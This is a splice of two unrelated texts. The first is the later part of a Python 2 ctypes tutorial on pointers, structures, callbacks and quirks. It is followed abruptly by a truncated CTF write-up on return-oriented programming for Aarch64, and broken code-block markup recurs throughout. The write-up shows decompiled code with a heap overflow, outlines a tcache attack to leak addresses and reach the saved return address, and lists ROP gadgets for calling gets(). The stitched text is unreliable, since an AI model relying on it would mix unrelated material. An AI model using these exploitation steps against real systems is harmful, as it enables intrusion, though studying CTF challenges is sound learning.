itself, it's `_as_parameter_` attribute, or whatever you want to pass as the C
function argument in this case. Again, the result should be an integer,
string, unicode, a `ctypes` instance, or something having the `_as_parameter_`
attribute.

# Return types

By default functions are assumed to return the C `int` type. Other return
types can be specified by setting the `restype` attribute of the function
object.

Here is a more advanced example, it uses the `strchr` function, which expects
a string pointer and a char, and returns a pointer to a string:

[code]

    >>> strchr = libc.strchr
    >>> strchr("abcdef", ord("d")) # doctest: +SKIP
    8059983
    >>> strchr.restype = c_char_p # c_char_p is a pointer to a string
    >>> strchr("abcdef", ord("d"))
    'def'
    >>> print strchr("abcdef", ord("x"))
    None
    >>>
    
    
[/code]

If you want to avoid the `ord("x")` calls above, you can set the `argtypes`
attribute, and the second argument will be converted from a single character
Python string into a C char:

[code]

    >>> strchr.restype = c_char_p
    >>> strchr.argtypes = [c_char_p, c_char]
    >>> strchr("abcdef", "d")
    'def'
    >>> strchr("abcdef", "def")
    Traceback (most recent call last):
      File "<stdin>", line 1, in ?
    ArgumentError: argument 2: exceptions.TypeError: one character string expected
    >>> print strchr("abcdef", "x")
    None
    >>> strchr("abcdef", "d")
    'def'
    >>>
    
    
[/code]

You can also use a callable Python object \(a function or a class for
example\) as the `restype` attribute, if the foreign function returns an
integer. The callable will be called with the `integer` the C function
returns, and the result of this call will be used as the result of your
function call. This is useful to check for error return values and
automatically raise an exception:

[code]

    >>> GetModuleHandle = windll.kernel32.GetModuleHandleA # doctest: +WINDOWS
    >>> def ValidHandle(value):
    ...     if value == 0:
    ...         raise WinError()
    ...     return value
    ...
    >>>
    >>> GetModuleHandle.restype = ValidHandle # doctest: +WINDOWS
    >>> GetModuleHandle(None) # doctest: +WINDOWS
    486539264
    >>> GetModuleHandle("something silly") # doctest: +WINDOWS
    Traceback (most recent call last):
      File "<stdin>", line 1, in ?
      File "<stdin>", line 3, in ValidHandle
    WindowsError: [Errno 126] The specified module could not be found.
    >>>
    
    
[/code]

`WinError` is a function which will call Windows `FormatMessage()` api to get
the string representation of an error code, and _returns_ an exception.
`WinError` takes an optional error code parameter, if no one is used, it calls
`GetLastError()` to retrieve it.

Please note that a much more powerful error checking mechanism is available
through the `errcheck` attribute; see the reference manual for details.

# Passing pointers \(or: passing parameters by reference\)

Sometimes a C api function expects a _pointer_ to a data type as parameter,
probably to write into the corresponding location, or if the data is too large
to be passed by value. This is also known as _passing parameters by
reference_.

`ctypes` exports the `byref` function which is used to pass parameters by
reference. The same effect can be achieved with the `pointer` function,
although `pointer` does a lot more work since it constructs a real pointer
object, so it is faster to use `byref` if you don't need the pointer object in
Python itself:

[code]

    >>> i = c_int()
    >>> f = c_float()
    >>> s = create_string_buffer('\000' * 32)
    >>> print i.value, f.value, repr(s.value)
    0 0.0 ''
    >>> libc.sscanf("1 3.14 Hello", "%d %f %s",
    ...             byref(i), byref(f), s)
    3
    >>> print i.value, f.value, repr(s.value)
    1 3.1400001049 'Hello'
    >>>
    
    
[/code]

# Structures and unions

Structures and unions must derive from the `Structure` and `Union` base
classes which are defined in the `ctypes` module. Each subclass must define a
`_fields_` attribute. `_fields_` must be a list of _2-tuples_ , containing a
_field name_ and a _field type_.

The field type must be a `ctypes` type like `c_int`, or any other derived
`ctypes` type: structure, union, array, pointer.

Here is a simple example of a POINT structure, which contains two integers
named `x` and `y`, and also shows how to initialize a structure in the
constructor:

[code]

    >>> from ctypes import *
    >>> class POINT(Structure):
    ...     _fields_ = [("x", c_int),
    ...                 ("y", c_int)]
    ...
    >>> point = POINT(10, 20)
    >>> print point.x, point.y
    10 20
    >>> point = POINT(y=5)
    >>> print point.x, point.y
    0 5
    >>> POINT(1, 2, 3)
    Traceback (most recent call last):
      File "<stdin>", line 1, in ?
    ValueError: too many initializers
    >>>
    
    
[/code]

You can, however, build much more complicated structures. Structures can
itself contain other structures by using a structure as a field type.

Here is a RECT structure which contains two POINTs named `upperleft` and
`lowerright`

[code]

    >>> class RECT(Structure):
    ...     _fields_ = [("upperleft", POINT),
    ...                 ("lowerright", POINT)]
    ...
    >>> rc = RECT(point)
    >>> print rc.upperleft.x, rc.upperleft.y
    0 5
    >>> print rc.lowerright.x, rc.lowerright.y
    0 0
    >>>
    
    
[/code]

Nested structures can also be initialized in the constructor in several ways:

[code]

    >>> r = RECT(POINT(1, 2), POINT(3, 4))
    >>> r = RECT((1, 2), (3, 4))
    
    
[/code]

Fields descriptors can be retrieved from the _class_ , they are useful for
debugging because they can provide useful information:

[code]

    >>> print POINT.x
    <Field type=c_long, ofs=0, size=4>
    >>> print POINT.y
    <Field type=c_long, ofs=4, size=4>
    >>>
    
    
[/code]

# Structure/union alignment and byte order

By default, Structure and Union fields are aligned in the same way the C
compiler does it. It is possible to override this behaviour be specifying a
`_pack_` class attribute in the subclass definition. This must be set to a
positive integer and specifies the maximum alignment for the fields. This is
what `#pragma pack(n)` also does in MSVC.

`ctypes` uses the native byte order for Structures and Unions. To build
structures with non-native byte order, you can use one of the
BigEndianStructure, LittleEndianStructure, BigEndianUnion, and
LittleEndianUnion base classes. These classes cannot contain pointer fields.

# Bit fields in structures and unions

It is possible to create structures and unions containing bit fields. Bit
fields are only possible for integer fields, the bit width is specified as the
third item in the `_fields_` tuples:

[code]

    >>> class Int(Structure):
    ...     _fields_ = [("first_16", c_int, 16),
    ...                 ("second_16", c_int, 16)]
    ...
    >>> print Int.first_16
    <Field type=c_long, ofs=0:0, bits=16>
    >>> print Int.second_16
    <Field type=c_long, ofs=0:16, bits=16>
    >>>
    
    
[/code]

# Arrays

Arrays are sequences, containing a fixed number of instances of the same type.

The recommended way to create array types is by multiplying a data type with a
positive integer:

[code]

    TenPointsArrayType = POINT * 10
    
    
[/code]

Here is an example of an somewhat artifical data type, a structure containing
4 POINTs among other stuff:

[code]

    >>> from ctypes import *
    >>> class POINT(Structure):
    ...    _fields_ = ("x", c_int), ("y", c_int)
    ...
    >>> class MyStruct(Structure):
    ...    _fields_ = [("a", c_int),
    ...                ("b", c_float),
    ...                ("point_array", POINT * 4)]
    >>>
    >>> print len(MyStruct().point_array)
    4
    >>>
    
    
[/code]

Instances are created in the usual way, by calling the class:

[code]

    arr = TenPointsArrayType()
    for pt in arr:
        print pt.x, pt.y
    
    
[/code]

The above code print a series of `0 0` lines, because the array contents is
initialized to zeros.

Initializers of the correct type can also be specified:

[code]

    >>> from ctypes import *
    >>> TenIntegers = c_int * 10
    >>> ii = TenIntegers(1, 2, 3, 4, 5, 6, 7, 8, 9, 10)
    >>> print ii
    <c_long_Array_10 object at 0x...>
    >>> for i in ii: print i,
    ...
    1 2 3 4 5 6 7 8 9 10
    >>>
    
    
[/code]

# Pointers

Pointer instances are created by calling the `pointer` function on a `ctypes`
type:

[code]

    >>> from ctypes import *
    >>> i = c_int(42)
    >>> pi = pointer(i)
    >>>
    
    
[/code]

Pointer instances have a `contents` attribute which returns the object to
which the pointer points, the `i` object above:

[code]

    >>> pi.contents
    c_long(42)
    >>>
    
    
[/code]

Note that `ctypes` does not have OOR \(original object return\), it constructs
a new, equivalent object each time you retrieve an attribute:

[code]

    >>> pi.contents is i
    False
    >>> pi.contents is pi.contents
    False
    >>>
    
    
[/code]

Assigning another `c_int` instance to the pointer's contents attribute would
cause the pointer to point to the memory location where this is stored:

[code]

    >>> i = c_int(99)
    >>> pi.contents = i
    >>> pi.contents
    c_long(99)
    >>>
    
    
[/code]

Pointer instances can also be indexed with integers:

[code]

    >>> pi[0]
    99
    >>>
    
    
[/code]

Assigning to an integer index changes the pointed to value:

[code]

    >>> print i
    c_long(99)
    >>> pi[0] = 22
    >>> print i
    c_long(22)
    >>>
    
    
[/code]

It is also possible to use indexes different from 0, but you must know what
you're doing, just as in C: You can access or change arbitrary memory
locations. Generally you only use this feature if you receive a pointer from a
C function, and you _know_ that the pointer actually points to an array
instead of a single item.

Behind the scenes, the `pointer` function does more than simply create pointer
instances, it has to create pointer _types_ first. This is done with the
`POINTER` function, which accepts any `ctypes` type, and returns a new type:

[code]

    >>> PI = POINTER(c_int)
    >>> PI
    <class 'ctypes.LP_c_long'>
    >>> PI(42)
    Traceback (most recent call last):
      File "<stdin>", line 1, in ?
    TypeError: expected c_long instead of int
    >>> PI(c_int(42))
    <ctypes.LP_c_long object at 0x...>
    >>>
    
    
[/code]

Calling the pointer type without an argument creates a `NULL` pointer. `NULL`
pointers have a `False` boolean value:

[code]

    >>> null_ptr = POINTER(c_int)()
    >>> print bool(null_ptr)
    False
    >>>
    
    
[/code]

`ctypes` checks for `NULL` when dereferencing pointers \(but dereferencing
non-`NULL` pointers would crash Python\):

[code]

    >>> null_ptr[0]
    Traceback (most recent call last):
        ....
    ValueError: NULL pointer access
    >>>
    
    >>> null_ptr[0] = 1234
    Traceback (most recent call last):
        ....
    ValueError: NULL pointer access
    >>>
    
    
[/code]

# Type conversions

Usually, ctypes does strict type checking. This means, if you have
`POINTER(c_int)` in the `argtypes` list of a function or as the type of a
member field in a structure definition, only instances of exactly the same
type are accepted. There are some exceptions to this rule, where ctypes
accepts other objects. For example, you can pass compatible array instances
instead of pointer types. So, for `POINTER(c_int)`, ctypes accepts an array of
c\_int:

[code]

    >>> class Bar(Structure):
    ...     _fields_ = [("count", c_int), ("values", POINTER(c_int))]
    ...
    >>> bar = Bar()
    >>> bar.values = (c_int * 3)(1, 2, 3)
    >>> bar.count = 3
    >>> for i in range(bar.count):
    ...     print bar.values[i]
    ...
    1
    2
    3
    >>>
    
    
[/code]

To set a POINTER type field to `NULL`, you can assign `None`:

[code]

    >>> bar.values = None
    >>>
    
    
[/code]

XXX list other conversions...

Sometimes you have instances of incompatible types. In `C`, you can cast one
type into another type. `ctypes` provides a `cast` function which can be used
in the same way. The `Bar` structure defined above accepts `POINTER(c_int)`
pointers or `c_int` arrays for its `values` field, but not instances of other
types:

[code]

    >>> bar.values = (c_byte * 4)()
    Traceback (most recent call last):
      File "<stdin>", line 1, in ?
    TypeError: incompatible types, c_byte_Array_4 instance instead of LP_c_long instance
    >>>
    
    
[/code]

For these cases, the `cast` function is handy.

The `cast` function can be used to cast a ctypes instance into a pointer to a
different ctypes data type. `cast` takes two parameters, a ctypes object that
is or can be converted to a pointer of some kind, and a ctypes pointer type.
It returns an instance of the second argument, which references the same
memory block as the first argument:

[code]

    >>> a = (c_byte * 4)()
    >>> cast(a, POINTER(c_int))
    <ctypes.LP_c_long object at ...>
    >>>
    
    
[/code]

So, `cast` can be used to assign to the `values` field of `Bar` the structure:

[code]

    >>> bar = Bar()
    >>> bar.values = cast((c_byte * 4)(), POINTER(c_int))
    >>> print bar.values[0]
    0
    >>>
    
    
[/code]

# Incomplete Types

 _Incomplete Types_ are structures, unions or arrays whose members are not yet
specified. In C, they are specified by forward declarations, which are defined
later:

[code]

    struct cell; /* forward declaration */
    
    struct {
        char *name;
        struct cell *next;
    } cell;
    
    
[/code]

The straightforward translation into ctypes code would be this, but it does
not work:

[code]

    >>> class cell(Structure):
    ...     _fields_ = [("name", c_char_p),
    ...                 ("next", POINTER(cell))]
    ...
    Traceback (most recent call last):
      File "<stdin>", line 1, in ?
      File "<stdin>", line 2, in cell
    NameError: name 'cell' is not defined
    >>>
    
    
[/code]

because the new `class cell` is not available in the class statement itself.
In `ctypes`, we can define the `cell` class and set the `_fields_` attribute
later, after the class statement:

[code]

    >>> from ctypes import *
    >>> class cell(Structure):
    ...     pass
    ...
    >>> cell._fields_ = [("name", c_char_p),
    ...                  ("next", POINTER(cell))]
    >>>
    
    
[/code]

Lets try it. We create two instances of `cell`, and let them point to each
other, and finally follow the pointer chain a few times:

[code]

    >>> c1 = cell()
    >>> c1.name = "foo"
    >>> c2 = cell()
    >>> c2.name = "bar"
    >>> c1.next = pointer(c2)
    >>> c2.next = pointer(c1)
    >>> p = c1
    >>> for i in range(8):
    ...     print p.name,
    ...     p = p.next[0]
    ...
    foo bar foo bar foo bar foo bar
    >>>
    
    
[/code]

# Callback functions

`ctypes` allows to create C callable function pointers from Python callables.
These are sometimes called _callback functions_.

First, you must create a class for the callback function, the class knows the
calling convention, the return type, and the number and types of arguments
this function will receive.

The CFUNCTYPE factory function creates types for callback functions using the
normal cdecl calling convention, and, on Windows, the WINFUNCTYPE factory
function creates types for callback functions using the stdcall calling
convention.

Both of these factory functions are called with the result type as first
argument, and the callback functions expected argument types as the remaining
arguments.

I will present an example here which uses the standard C library's `qsort`
function, this is used to sort items with the help of a callback function.
`qsort` will be used to sort an array of integers:

[code]

    >>> IntArray5 = c_int * 5
    >>> ia = IntArray5(5, 1, 7, 33, 99)
    >>> qsort = libc.qsort
    >>> qsort.restype = None
    >>>
    
    
[/code]

`qsort` must be called with a pointer to the data to sort, the number of items
in the data array, the size of one item, and a pointer to the comparison
function, the callback. The callback will then be called with two pointers to
items, and it must return a negative integer if the first item is smaller than
the second, a zero if they are equal, and a positive integer else.

So our callback function receives pointers to integers, and must return an
integer. First we create the `type` for the callback function:

[code]

    >>> CMPFUNC = CFUNCTYPE(c_int, POINTER(c_int), POINTER(c_int))
    >>>
    
    
[/code]

For the first implementation of the callback function, we simply print the
arguments we get, and return 0 \(incremental development ;-\):

[code]

    >>> def py_cmp_func(a, b):
    ...     print "py_cmp_func", a, b
    ...     return 0
    ...
    >>>
    
    
[/code]

Create the C callable callback:

[code]

    >>> cmp_func = CMPFUNC(py_cmp_func)
    >>>
    
    
[/code]

And we're ready to go:

[code]

    >>> qsort(ia, len(ia), sizeof(c_int), cmp_func) # doctest: +WINDOWS
    py_cmp_func <ctypes.LP_c_long object at 0x00...> <ctypes.LP_c_long object at 0x00...>
    py_cmp_func <ctypes.LP_c_long object at 0x00...> <ctypes.LP_c_long object at 0x00...>
    py_cmp_func <ctypes.LP_c_long object at 0x00...> <ctypes.LP_c_long object at 0x00...>
    py_cmp_func <ctypes.LP_c_long object at 0x00...> <ctypes.LP_c_long object at 0x00...>
    py_cmp_func <ctypes.LP_c_long object at 0x00...> <ctypes.LP_c_long object at 0x00...>
    py_cmp_func <ctypes.LP_c_long object at 0x00...> <ctypes.LP_c_long object at 0x00...>
    py_cmp_func <ctypes.LP_c_long object at 0x00...> <ctypes.LP_c_long object at 0x00...>
    py_cmp_func <ctypes.LP_c_long object at 0x00...> <ctypes.LP_c_long object at 0x00...>
    py_cmp_func <ctypes.LP_c_long object at 0x00...> <ctypes.LP_c_long object at 0x00...>
    py_cmp_func <ctypes.LP_c_long object at 0x00...> <ctypes.LP_c_long object at 0x00...>
    >>>
    
    
[/code]

We know how to access the contents of a pointer, so lets redefine our
callback:

[code]

    >>> def py_cmp_func(a, b):
    ...     print "py_cmp_func", a[0], b[0]
    ...     return 0
    ...
    >>> cmp_func = CMPFUNC(py_cmp_func)
    >>>
    
    
[/code]

Here is what we get on Windows:

[code]

    >>> qsort(ia, len(ia), sizeof(c_int), cmp_func) # doctest: +WINDOWS
    py_cmp_func 7 1
    py_cmp_func 33 1
    py_cmp_func 99 1
    py_cmp_func 5 1
    py_cmp_func 7 5
    py_cmp_func 33 5
    py_cmp_func 99 5
    py_cmp_func 7 99
    py_cmp_func 33 99
    py_cmp_func 7 33
    >>>
    
    
[/code]

It is funny to see that on linux the sort function seems to work much more
efficient, it is doing less comparisons:

[code]

    >>> qsort(ia, len(ia), sizeof(c_int), cmp_func) # doctest: +LINUX
    py_cmp_func 5 1
    py_cmp_func 33 99
    py_cmp_func 7 33
    py_cmp_func 5 7
    py_cmp_func 1 7
    >>>
    
    
[/code]

Ah, we're nearly done\! The last step is to actually compare the two items and
return a useful result:

[code]

    >>> def py_cmp_func(a, b):
    ...     print "py_cmp_func", a[0], b[0]
    ...     return a[0] - b[0]
    ...
    >>>
    
    
[/code]

Final run on Windows:

[code]

    >>> qsort(ia, len(ia), sizeof(c_int), CMPFUNC(py_cmp_func)) # doctest: +WINDOWS
    py_cmp_func 33 7
    py_cmp_func 99 33
    py_cmp_func 5 99
    py_cmp_func 1 99
    py_cmp_func 33 7
    py_cmp_func 1 33
    py_cmp_func 5 33
    py_cmp_func 5 7
    py_cmp_func 1 7
    py_cmp_func 5 1
    >>>
    
    
[/code]

and on Linux:

[code]

    >>> qsort(ia, len(ia), sizeof(c_int), CMPFUNC(py_cmp_func)) # doctest: +LINUX
    py_cmp_func 5 1
    py_cmp_func 33 99
    py_cmp_func 7 33
    py_cmp_func 1 7
    py_cmp_func 5 7
    >>>
    
    
[/code]

It is quite interesting to see that the Windows `qsort` function needs more
comparisons than the linux version\!

As we can easily check, our array sorted now:

[code]

    >>> for i in ia: print i,
    ...
    1 5 7 33 99
    >>>
    
    
[/code]

**Important note for callback functions:**

Make sure you keep references to CFUNCTYPE objects as long as they are used
from C code. `ctypes` doesn't, and if you don't, they may be garbage
collected, crashing your program when a callback is made.

# Accessing values exported from dlls

Sometimes, a dll not only exports functions, it also exports variables. An
example in the Python library itself is the `Py_OptimizeFlag`, an integer set
to 0, 1, or 2, depending on the `-O` or `-OO` flag given on startup.

`ctypes` can access values like this with the `in_dll` class methods of the
type. `pythonapi` ìs a predefined symbol giving access to the Python C api:

[code]

    >>> opt_flag = c_int.in_dll(pythonapi, "Py_OptimizeFlag")
    >>> print opt_flag
    c_long(0)
    >>>
    
    
[/code]

If the interpreter would have been started with `-O`, the sample would have
printed `c_long(1)`, or `c_long(2)` if `-OO` would have been specified.

An extended example which also demonstrates the use of pointers accesses the
`PyImport_FrozenModules` pointer exported by Python.

Quoting the Python docs: _This pointer is initialized to point to an array of
\`\`struct \_frozen\`\` records, terminated by one whose members are all NULL
or zero. When a frozen module is imported, it is searched in this table.
Third-party code could play tricks with this to provide a dynamically created
collection of frozen modules._

So manipulating this pointer could even prove useful. To restrict the example
size, we show only how this table can be read with `ctypes`:

[code]

    >>> from ctypes import *
    >>>
    >>> class struct_frozen(Structure):
    ...     _fields_ = [("name", c_char_p),
    ...                 ("code", POINTER(c_ubyte)),
    ...                 ("size", c_int)]
    ...
    >>>
    
    
[/code]

We have defined the `struct _frozen` data type, so we can get the pointer to
the table:

[code]

    >>> FrozenTable = POINTER(struct_frozen)
    >>> table = FrozenTable.in_dll(pythonapi, "PyImport_FrozenModules")
    >>>
    
    
[/code]

Since `table` is a `pointer` to the array of `struct_frozen` records, we can
iterate over it, but we just have to make sure that our loop terminates,
because pointers have no size. Sooner or later it would probably crash with an
access violation or whatever, so it's better to break out of the loop when we
hit the NULL entry:

[code]

    >>> for item in table:
    ...    print item.name, item.size
    ...    if item.name is None:
    ...        break
    ...
    __hello__ 104
    __phello__ -104
    __phello__.spam 104
    None 0
    >>>
    
    
[/code]

The fact that standard Python has a frozen module and a frozen package
\(indicated by the negative size member\) is not wellknown, it is only used
for testing. Try it out with `import __hello__` for example.

# Surprises

There are some edges in `ctypes` where you may be expect something else than
what actually happens.

Consider the following example:

[code]

    >>> from ctypes import *
    >>> class POINT(Structure):
    ...     _fields_ = ("x", c_int), ("y", c_int)
    ...
    >>> class RECT(Structure):
    ...     _fields_ = ("a", POINT), ("b", POINT)
    ...
    >>> p1 = POINT(1, 2)
    >>> p2 = POINT(3, 4)
    >>> rc = RECT(p1, p2)
    >>> print rc.a.x, rc.a.y, rc.b.x, rc.b.y
    1 2 3 4
    >>> # now swap the two points
    >>> rc.a, rc.b = rc.b, rc.a
    >>> print rc.a.x, rc.a.y, rc.b.x, rc.b.y
    3 4 3 4
    >>>
    
    
[/code]

Hm. We certainly expected the last statement to print `3 4 1 2`. What
happended? Here are the steps of the `rc.a, rc.b = rc.b, rc.a` line above:

[code]

    >>> temp0, temp1 = rc.b, rc.a
    >>> rc.a = temp0
    >>> rc.b = temp1
    >>>
    
    
[/code]

Note that `temp0` and `temp1` are objects still using the internal buffer of
the `rc` object above. So executing `rc.a = temp0` copies the buffer contents
of `temp0` into `rc` 's buffer. This, in turn, changes the contents of
`temp1`. So, the last assignment `rc.b = temp1`, doesn't have the expected
effect.

Keep in mind that retrieving subobjects from Structure, Unions, and Arrays
doesn't _copy_ the subobject, instead it retrieves a wrapper object accessing
the root-object's underlying buffer.

Another example that may behave different from what one would expect is this:

[code]

    >>> s = c_char_p()
    >>> s.value = "abc def ghi"
    >>> s.value
    'abc def ghi'
    >>> s.value is s.value
    False
    >>>
    
    
[/code]

Why is it printing `False`? ctypes instances are objects containing a memory
block plus some descriptors accessing the contents of the memory. Storing a
Python object in the memory block does not store the object itself, instead
the `contents` of the object is stored. Accessing the contents again
constructs a new Python each time\!

# Variable-sized data types

`ctypes` provides some support for variable-sized arrays and structures \(this
was added in version 0.9.9.7\).

The `resize` function can be used to resize the memory buffer of an existing
ctypes object. The function takes the object as first argument, and the
requested size in bytes as the second argument. The memory block cannot be
made smaller than the natural memory block specified by the objects type, a
`ValueError` is raised if this is tried:

[code]

    >>> short_array = (c_short * 4)()
    >>> print sizeof(short_array)
    8
    >>> resize(short_array, 4)
    Traceback (most recent call last):
        ...
    ValueError: minimum size is 8
    >>> resize(short_array, 32)
    >>> sizeof(short_array)
    32
    >>> sizeof(type(short_array))
    8
    >>>
    
    
[/code]

This is nice and fine, but how would one access the additional elements
contained in this array? Since the type still only knows about 4 elements, we
get errors accessing other elements:

[code]

    >>> short_array[:]
    [0, 0, 0, 0]
    >>> short_array[7]
    Traceback (most recent call last):
        ...
    IndexError: invalid index
    >>>
    
    
[/code]

Another way to use variable-sized data types with `ctypes` is to use the
dynamic nature of Python, and \(re-\)define the data type after the required
size is already known, on a case by case basis.

# Bugs, ToDo and non-implemented things

Enumeration types are not implemented. You can do it easily yourself, using
`c_int` as the base class.

`long double` is not implemented.

# ROP-ing on Aarch64 - The CTF Style

**Created:**| _3/2/2019 6:20:43 PM_  
---|---  
**Updated:**| _3/2/2019 6:20:43 PM_  
**Author:**| _wishi_  
**Tags:**| _rop architecture aarch64_  
  

  

# ROP-ing on Aarch64 - The CTF Style

18 Feb 2019

This is walkthrough of how we managed to ROP on Aarch64, coming from a
completely x86/64 background. We were the kind of people who would just not
touch anything that is not x86/64.

The nyanc challenge from the Insomni’hack teaser 2019 was the final push we
needed to start learning about arm exploitation, with its lucrative heap-note
interface.

Overall, me \(Jazzy\) and VoidMercy spent about 24 hrs on this challenge and
still didn’t manage to solve it in time, but the whole experience was worth
it.

As neither of us had any experience in exploiting Aarch64 and we couldn’t find
a lot of documentation on how it is done, the methods and techniques we used
are probably not be the best ones, but we learned a lot along the way.

* * *
## Aarch64 basics

Before we dive into the challenge, let’s just skim over the basics quickly.
I’ll try to explain everything to the best of my ability and knowledge.

### Registers

Aarch64 has 31 general purpose registers, x0 to x30. Since it’s a 64 bit
architechture, all the registers are 64 bit. But we can access the lower 32
bits of thes registers by using them with the w prefix, such as w0 and w1.

There is also a 32nd register, known as xzr or the zero register. It has
multiple uses which I won’t go into but in certain contexts, it is used as the
stack pointer \(esp equivalent\) and is thereforce aliased as sp.

### Instructions

Here are some basic instructions:

  * `mov` \- Just like it’s x86 counterpart, copies one register into another. It can also be used to load immediate values. 
[code]      mov x0, x1; copies x1 into x0

      mov x1, 0x4141; loads the value 0x4141 in x1
    
[/code]  
---  
`

[/code]

  * `str`/`ldr` - store and load register. Basically stores and loads a register from the given pointer. 
[code]     str x0, [x29]; store x0 at the address in x29

     ldr x0, [x29]; load the value from the address in x29 into x0
    
[/code]  
---  
`

[/code]

    * `stp`/`ldp` \- store and load a pair of registers. Same as `str`/`ldr` but instead with a pair of registers 
[code]          stp x29, x30, [sp]; store x29 at sp and x30 at sp+8

        
[/code]  
---  
`

[/code]

  * `bl`/`blr` - Branch link (to register). The x86 equivalent is `call`. Basically jumps to a subroutine and stores the return address in x30. 
[code]      blr x0; calls the subroutine at the address stored in x0

    
[/code]  
---  
`

[/code]

  * `b`/`br` \- Branch \(to register\). The x86 equivalent is `jmp`. Basically jumps to the specified address 
[code]      br x0; jump to the address stored in x0

    
[/code]  
---  
`

[/code]

  * `ret` - Unlike it’s x86 equivalent which pops the return address from stack, it looks for the return address in the x30 register and jumps there.

### Indexing modes

Unlike x86, load/store instructions in Aarch64 has three different indexing
“modes” to index offsets:

  * Immediate offset : `\[base, \#offset\]` - Index an offset directly and don’t mess with anything else 
[code]      ldr x0, [sp, 0x10]; load x0 from sp+0x10

    
[/code]  
---  
`

[/code]

  * Pre-indexed : `[base, #offset]!` \- Almost the same as above, except that base+offset is written back into base. 
[code]      ldr x0, [sp, 0x10]!; load x0 from sp+0x10 and then increase sp by
0x10

    
[/code]  
---  
`

[/code]

  * Post-indexed : `\[base\], \#offset` - Use the base directly and then write base+offset back into the base 
[code]      ldr x0, [sp], 0x10; load x0 from sp and then increase sp by 0x10

    
[/code]  
---  
`

[/code]

### Stack and calling conventions

  * The registers x0 to x7 are used to pass parameters to subroutines and extra parameters are passed on the stack.
  * The return address is stored in x30, but during nested subroutine calls, it gets preserved on the stack. It is also known as the link register.
  * The x29 register is also known as the frame pointer and it’s x86 equivalent is ebp. All the local variables on the stack are accessed relative to x29 and it holds a pointer to the previous stack frame, just like in x86.
    * One interesting thing I noticed is that even though ebp is always at the bottom of the current stack frame with the return address right underneath it, the x29 is stored at an optimal position relative to the local variables. In my minimal testcases, it was always stored on the top of the stack \(along with the preserved x30\) and the local variables underneath it \(basically a flipped oritentation compared to x86\).

## The challenge

We are provided with the challenge files and the following description:

[code]

    Challenge runs on ubuntu 18.04 aarch64, chrooted
    
[/code]  
---  
`

[/code]

It comes with the challenge binary, the libc and a placeholder flag file. It
was the mentioned that the challenge is being run in a chroot, so we probably
can’t get a shell and would need to do a open/read/write ropchain.

The first thing we need is to set-up an environment. Fortunately, AWS provides
pre-built Aarch64 ubuntu server images and that’s what we will use from now
on.

### Part 1 - The heap

[code]

    Not Yet Another Note Challenge...
    ====== menu ======
    1. alloc
    2. view
    3. edit
    4. delete
    5. quit
    
[/code]  
---  
`

[/code]

We are greeted with a wonderful and familiar \(if you’re a regular CTFer\)
prompt related to heap challenges.

Playing with it a little, we discover an int underflow in the alloc function,
leading to a heap overflow in the edit function:

[code]

    __int64 do_add()
    {
      __int64 v0; // x0
      int v1; // w0
      signed __int64 i; // [xsp+10h] [xbp+10h]
      __int64 v4; // [xsp+18h] [xbp+18h]
    
      for ( i = 0LL; ; ++i )
      {
        if ( i > 7 )
          return puts("no more room!");
        if ( !mchunks[i].pointer )
          break;
      }
      v0 = printf("len : ");
      v4 = read_int(v0);
      mchunks[i].pointer = malloc(v4);
      if ( !mchunks[i].pointer )
        return puts("couldn't allocate chunk");
      printf("data : ");
      v1 = read(0LL, mchunks[i].pointer, v4 - 1);
      LOWORD(mchunks[i].size) = v1;
      *(_BYTE *)(mchunks[i].pointer + v1) = 0;
      return printf("chunk %d allocated\n");
    }
    
    __int64 do_edit()
    {
      __int64 v0; // x0
      __int64 result; // x0
      int v2; // w0
      __int64 v3; // [xsp+10h] [xbp+10h]
    
      v0 = printf("index : ");
      result = read_int(v0);
      v3 = result;
      if ( result >= 0 && result <= 7 )
      {
        result = LOWORD(mchunks[result].size);
        if ( LOWORD(mchunks[v3].size) )
        {
          printf("data : ");
          v2 = read(0LL, mchunks[v3].pointer, (unsigned int)LOWORD(mchunks[v3].size) - 1);
          LOWORD(mchunks[v3].size) = v2;
          result = mchunks[v3].pointer + v2;
          *(_BYTE *)result = 0;
        }
      }
      return result;
    }
    
[/code]  
---  
`

[/code]

If we enter 0 as `len` in alloc, it would allocate a valid heap chunk and read
-1 bytes into it. Because read uses unsigned values, -1 would become
0xffffffffffffffff and the read would error out as it’s not possible to read
such a huge value.

With read erroring out, the return value (-1 for error) would then be stored
in the `size` member of the global chunk struct. In the edit function, the
`size` is used as a 16 bit unsigned int, so -1 becomes 0xffff, leading to the
overflow

Since this post is about ROP-ing and the heap in Aarch64 is almost the same as
x86, I’ll just be skimming over the heap exploit.

  * Because there was no `free\(\)` in the binary, we overwrote the size of the top_chunk which got freed in the next allocation, giving us a leak.
  * Since the challenge server was using libc2.27, tcache was available which made our lives a lot easier. We could just overwrite the FD of the top_chunk to get an arbitrary allocation.
  * First we leak a libc address, then use it to get a chunk near `environ`, leaking a stack address. Finally, we allocate a chunk near the return address (saved x30 register) to start writing our ROP-chain.

### Part 2 - The ROP-chain

Now starts the interesting part. How do we find ROP gadgets in Aarch64?

Fortunately for us, ropper supports Aarch64. But what kind of gadgets exist in
Aarch64 and how can we use them?

[code]

    $ ropper -f libc.so.6 
    [INFO] Load gadgets from cache
    [LOAD] loading... 100%
    [LOAD] removing double gadgets... 100%
    
    
    
    Gadgets
    =======
    
    
    0x00091ac4: add sp, sp, #0x140; ret; 
    0x000bf0dc: add sp, sp, #0x150; ret; 
    0x000c0aa8: add sp, sp, #0x160; ret; 
    ....
    
[/code]  
---  
`

[/code]

Aaaaand we are blasted with a shitload of gadgets.

  * Most of the these are actually not very useful as the `ret` depends on the x30 register. The address in x30 is where gadget will return when it executes a `ret`.
  * If the gadget doesn’t modify x30 in a way we can control it, we won’t be able to control the exectuion flow and get to the next gadget.

So to get a ROP-chain running in Aarch64, we can only use the gadgets which:

  * perform the function we want
  * pop x30 from the stack
  * ret

With our heap exploit, we were only able to allocate a 0x98 chunk on the stack
and the whole open/read/write chain would take a lot more space, so the first
thing we need is to read in a second ROP-chain.

One way to do that is to call `gets(stack_address)`, so we can basically write
an infinite ROP-chain on the stack \(provided no newlines\).

So how do we call `gets()`? It’s a libc function and we already have a libc
leak, the only thing we need is to get the address of `gets` in x30 and a
stack address in x0 \(function parameters are passedin x0 to x7\).

After a bit of gadget hunting, here is the gadget I settled upon:

[code]

    0x00062554: ldr x0, [x29, #0x18]; ldp x29, x30, [sp], #0x20; ret;
    
[/code]  
---  
`

[/code]

It essentially loads x0 from x29+0x18 and then pop x29 and x30 from the top of
the stack (`ldp xx,xy \[sp\]` is essentially equal to popping). It then moves
stack down by 0x20 (sp+0x20 in post indexed addressing).

